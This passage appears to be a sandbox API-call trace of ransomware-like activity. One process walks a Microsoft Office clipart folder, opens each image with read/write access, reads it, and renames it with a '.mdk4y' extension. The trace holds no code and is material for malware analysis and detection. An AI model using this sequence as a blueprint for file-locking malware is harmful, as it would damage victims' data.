returned 1 [0168.357] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.357] AreFileApisANSI () returned 1 [0168.357] GetACP () returned 0x4e4 [0168.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0313965.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0313965.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.357] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824358700000) returned 1 [0168.357] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa75a, lpOverlapped=0x0) returned 1 [0168.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824359000000) returned 1 [0168.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824359000000) returned 1 [0168.360] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.mdk4y")) returned 1 [0168.361] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.361] AreFileApisANSI () returned 1 [0168.361] GetACP () returned 0x4e4 [0168.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0313970.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0313970.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.361] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824359200000) returned 1 [0168.362] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x81ab, lpOverlapped=0x0) returned 1 [0168.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824362100000) returned 1 [0168.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824362100000) returned 1 [0168.392] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.mdk4y")) returned 1 [0168.393] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.393] AreFileApisANSI () returned 1 [0168.393] GetACP () returned 0x4e4 [0168.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0313974.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0313974.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.393] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824362400000) returned 1 [0168.394] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb9d1, lpOverlapped=0x0) returned 1 [0168.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824367600000) returned 1 [0168.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824367600000) returned 1 [0168.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.mdk4y")) returned 1 [0168.448] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.448] AreFileApisANSI () returned 1 [0168.448] GetACP () returned 0x4e4 [0168.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0314068.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0314068.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.448] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824367900000) returned 1 [0168.449] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40f2, lpOverlapped=0x0) returned 1 [0168.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824369400000) returned 1 [0168.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824369400000) returned 1 [0168.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.mdk4y")) returned 1 [0168.469] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.469] AreFileApisANSI () returned 1 [0168.469] GetACP () returned 0x4e4 [0168.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0315580.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0315580.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.470] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824370000000) returned 1 [0168.470] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b02, lpOverlapped=0x0) returned 1 [0168.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824372100000) returned 1 [0168.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824372100000) returned 1 [0168.492] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.mdk4y")) returned 1 [0168.493] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.493] AreFileApisANSI () returned 1 [0168.493] GetACP () returned 0x4e4 [0168.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0315612.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0315612.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.493] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824372400000) returned 1 [0168.494] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x423a, lpOverlapped=0x0) returned 1 [0168.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824372600000) returned 1 [0168.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824372600000) returned 1 [0168.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.mdk4y")) returned 1 [0168.497] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.498] AreFileApisANSI () returned 1 [0168.498] GetACP () returned 0x4e4 [0168.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0318448.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0318448.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.498] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824372900000) returned 1 [0168.499] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4180, lpOverlapped=0x0) returned 1 [0168.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824374200000) returned 1 [0168.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824374200000) returned 1 [0168.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.mdk4y")) returned 1 [0168.514] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.514] AreFileApisANSI () returned 1 [0168.514] GetACP () returned 0x4e4 [0168.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0318804.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0318804.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.514] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824374500000) returned 1 [0168.515] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2dfa, lpOverlapped=0x0) returned 1 [0168.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824376300000) returned 1 [0168.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824376300000) returned 1 [0168.533] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.mdk4y")) returned 1 [0168.536] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.536] AreFileApisANSI () returned 1 [0168.536] GetACP () returned 0x4e4 [0168.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0318810.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0318810.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.536] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824376700000) returned 1 [0168.537] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28be, lpOverlapped=0x0) returned 1 [0168.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824384800000) returned 1 [0168.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824384800000) returned 1 [0168.619] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.mdk4y")) returned 1 [0168.620] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.620] AreFileApisANSI () returned 1 [0168.620] GetACP () returned 0x4e4 [0168.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0321179.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0321179.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.620] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824385100000) returned 1 [0168.622] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24d7, lpOverlapped=0x0) returned 1 [0168.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824386700000) returned 1 [0168.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824386700000) returned 1 [0168.638] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.mdk4y")) returned 1 [0168.641] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.641] AreFileApisANSI () returned 1 [0168.641] GetACP () returned 0x4e4 [0168.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0324694.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0324694.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824387100000) returned 1 [0168.642] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ff8, lpOverlapped=0x0) returned 1 [0168.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824400300000) returned 1 [0168.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824400300000) returned 1 [0168.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.mdk4y")) returned 1 [0168.775] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.775] AreFileApisANSI () returned 1 [0168.775] GetACP () returned 0x4e4 [0168.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0324704.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0324704.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.775] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824400600000) returned 1 [0168.776] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2e7e, lpOverlapped=0x0) returned 1 [0168.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824405500000) returned 1 [0168.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824405500000) returned 1 [0168.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.mdk4y")) returned 1 [0168.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.827] AreFileApisANSI () returned 1 [0168.827] GetACP () returned 0x4e4 [0168.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0337280.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0337280.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.827] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824405700000) returned 1 [0168.828] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3260, lpOverlapped=0x0) returned 1 [0168.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824408200000) returned 1 [0168.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824408200000) returned 1 [0168.853] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.mdk4y")) returned 1 [0168.854] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.854] AreFileApisANSI () returned 1 [0168.854] GetACP () returned 0x4e4 [0168.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341328.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341328.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.854] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824408800000) returned 1 [0168.858] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27d4, lpOverlapped=0x0) returned 1 [0168.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824408900000) returned 1 [0168.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824408900000) returned 1 [0168.859] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.mdk4y")) returned 1 [0168.860] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.861] AreFileApisANSI () returned 1 [0168.861] GetACP () returned 0x4e4 [0168.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341344.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341344.JPG", lpUsedDefaultChar=0x37df4c) returned 12 